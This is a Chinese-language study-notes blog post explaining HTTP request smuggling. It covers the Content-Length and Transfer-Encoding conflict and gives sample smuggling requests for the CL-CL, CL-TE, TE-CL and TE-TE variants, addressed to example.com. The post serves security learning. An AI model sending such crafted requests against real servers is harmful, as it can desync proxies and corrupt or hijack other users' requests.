首页 > 其他分享 >学习笔记-HTTP_request_smuggling

学习笔记-HTTP_request_smuggling

时间:2022-11-02 15:46:46浏览次数:81  
标签:HTTP 请求 smuggling request Content Length 服务器 1.1

HTTP_request_smuggling


免责声明

本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.


相关文章

靶场

burp扩展

相关工具


漏洞产生的原因

HTTP Request Smuggling 最初是由 WatchFire1 于 2005 年记录下来的,由于难以利用和危害性无法控制,该问题一直处于被忽略的状态。直到 2019 年的 BlackHat USA 上,PortSwigger 的 James Kettle 在他的议题——HTTP Desync Attacks: Smashing into the Cell Next Door 中提出了一套较为完善的利用流程,这个漏洞才被人熟知。

上面我们说到了 HTTP 协议的基本原理,其中一个 HTTP 请求中可以有多种方式来指定消息的长度,比如:Content-Length、Transfer-Encoding。

但是当一个请求中同时出现了 2 种方法,就会发生一些问题。HTTP 规范 (RFC2616) 中定义,如果接收的消息同时包含传输编码头字段 (Transfer-Encoding) 和内容长度头 (Content-Length) 字段,则必须忽略后者。然而,后端服务器有自己的想法,它会同时处理。


几种走私请求利用方法

CL 不为 0 的 GET 请求

假设前端代理服务器允许 GET 请求携带请求体,而后端服务器不允许 GET 请求携带请求体,它会直接忽略掉 GET 请求中的 Content-Length 头,不进行处理。这就有可能导致请求走私。

GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 44\r\n

GET / secret HTTP/1.1\r\n
Host: example.com\r\n
\r\n

前端服务器收到该请求,通过读取 Content-Length,判断这是一个完整的请求,然后转发给后端服务器,而后端服务器收到后,因为它不对 Content-Length 进行处理,由于 Pipeline 的存在,它就认为这是收到了两个请求,分别是

GET / HTTP/1.1\r\n
Host: example.com\r\n
GET / secret HTTP/1.1\r\n
Host: example.com\r\n

CL-CL

假设中间的代理服务器和后端的源站服务器在收到类似的请求时,都不会返回 400 错误,但是中间代理服务器按照第一个 Content-Length 的值对请求进行处理,而后端源站服务器按照第二个 Content-Length 的值进行处理, 这样便有可能引发请求走私。

此时恶意攻击者可以构造一个特殊的请求

POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n

12345\r\n
a

中间代理服务器获取到的数据包的长度为 8,将上述整个数据包原封不动的转发给后端的源站服务器,而后端服务器获取到的数据包长度为 7。当读取完前 7 个字符后,后端服务器认为已经读取完毕,然后生成对应的响应,发送出去。而此时的缓冲区去还剩余一个字母 a,对于后端服务器来说,这个 a 是下一个请求的一部分,但是还没有传输完毕。此时恰巧有一个其他的正常用户对服务器进行了请求,假设请求如下所示。

GET /index.html HTTP/1.1\r\n
Host: example.com\r\n

从前面我们也知道了,代理服务器与源站服务器之间一般会重用 TCP 连接。

这时候正常用户的请求就拼接到了字母 a 的后面,当后端服务器接收完毕后,它实际处理的请求其实是

aGET /index.html HTTP/1.1\r\n
Host: example.com\r\n

这时候用户就会收到一个类似于 aGET request method not found 的报错。这样就实现了一次 HTTP 走私攻击,而且还对正常用户的行为造成了影响,而且后续可以扩展成类似于 CSRF 的攻击方式。

CL-TE

所谓 CL-TE,就是当收到存在两个请求头的请求包时,前端代理服务器只处理 Content-Length 这一请求头,而后端服务器会遵守 RFC2616 的规定,忽略掉 Content-Length,处理 Transfer-Encoding 这一请求头。

chunk 传输数据格式如下,其中 size 的值由 16 进制表示。

[chunk size][\r\n][chunk data][\r\n][chunk size][\r\n][chunk data][\r\n][chunk size = 0][\r\n][\r\n]

此时恶意攻击者可以构造一个特殊的请求

POST / HTTP/1.1\r\n
Host: example.com\r\n
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
G

由于前端服务器处理 Content-Length,所以这个请求对于它来说是一个完整的请求,请求体的长度为 6,也就是

0\r\n
\r\n
G

当请求包经过代理服务器转发给后端服务器时,后端服务器处理 Transfer-Encoding,当它读取到 0\r\n\r\n 时,认为已经读取到结尾了,但是剩下的字母 G 就被留在了缓冲区中,等待后续请求的到来。当我们重复发送请求后,发送的请求在后端服务器拼接成了类似下面这种请求。

GPOST / HTTP/1.1\r\n
Host: example.com\r\n
......

TE-CL

所谓 TE-CL,就是当收到存在两个请求头的请求包时,前端代理服务器处理 Transfer-Encoding 这一请求头,而后端服务器处理 Content-Length 请求头。

构造数据包

POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
12\r\n
GPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

由于前端服务器处理 Transfer-Encoding,当其读取到 0\r\n\r\n 时,认为是读取完毕了,此时这个请求对代理服务器来说是一个完整的请求,然后转发给后端服务器,后端服务器处理 Content-Length 请求头,当它读取完 12\r\n 之后,就认为这个请求已经结束了,后面的数据就认为是另一个请求了,也就是

GPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

TE-TE

TE-TE,也很容易理解。当收到存在两个请求头的请求包时,前后端服务器都处理 Transfer-Encoding 请求头,这确实是实现了 RFC 的标准。不过前后端服务器毕竟不是同一种,因而我们可以对发送的请求包中的 Transfer-Encoding 进行某种混淆操作,从而使其中一个服务器不处理 Transfer-Encoding 请求头。从某种意义上还是 CL-TE 或者 TE-CL。

POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n
5c\r\n
GPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n

点击关注,共同学习!
安全狗的自我修养

github haidragon

https://github.com/haidragon

标签:HTTP,请求,smuggling,request,Content,Length,服务器,1.1
From: https://www.cnblogs.com/haidragon/p/16851179.html

相关文章

  • JAVA通过HttpClient发送HTTP请求
    第一步:引入Maven依赖<dependency><groupId>org.apache.httpcomponents</groupId><artifactId>httpclient</artifactId><version>4.5</version></dependency><depe......
  • 关于请求后台删除接口报错【Required request body is missing】的问题记录
    1、前端vue3.02、后台springboot3、报错内容org.springframework.http.converter.HttpMessageNotReadableException:Requiredrequestbodyismissing:publiccom.......
  • Web基础与HTTP协议
    一、HTML的概述1.HTML的概念HTML叫做超文本标记语言,是一种规范,也是一种标准,它通过标记符号来标记要显示的网页中的各个部分。网页文件本身是一种文本文件,通过在文本文件......
  • 如何确保独享HTTP代理池不被泄露
    我们在很多时候,使用提取式HTTP代理,用过一段时间之后,就会觉得有时候提取的IP数量不够,或者根本提取不到IP,出现这种情况,很大可能是因为代理池被人盗用。那么如何解决这种......
  • 选择http代理的两种错误观念
    我们在接到公司爬虫项目任务的时候,领导是不是会经常叮嘱,选择HTTP代理的时候,一定要节约成本,一定要简单省事儿。然后领导的意图到了程序员那里就会完全变味儿,最终不仅导......
  • Flask HTTP 405错误--Method not allowed
    环境Flask2.2.2 代码如下fromflaskimportFlask,requestapp=Flask(__name__)@app.route('/test/',methods=['POST'])deft():return{'out':1}i......
  • HTTP协议
    一、http协议概述http协议全称超文本传输协议,大家只要把它理解成为一个服务器与客户端通信的协议即可。在http协议的约定下,客户端可以向服务器发送请求,服务器在接收到请......
  • Golang获取http Request内容
    获取httpRequest内容获取httpRequest的内容,需要io.ReadAll调用读取了request的Body,读取完后,我们的控制器就没有请求内容了,此时应该需要把读取出来的字节重新构造成一个R......
  • uniapp http请求时响应拦截返回了两次的原因
    app起动时需要加载位置信息,如果没有开启则跳到系统权限页面开启定位功能,返回APP后重新加载定位信息,处理方法是在onShow方法中再调一次,在这之前已在onLoad方法中调用过一次......
  • setTimeout/setInterval与requestAnimationFrame的区别?
    提到setTimeout/setInterval以及requestAnimationFrame,大家的第一反应是动画相关的两个API。什么是web动画我们来谈谈什么是动画。动画其实是一种假象,是一种不连续......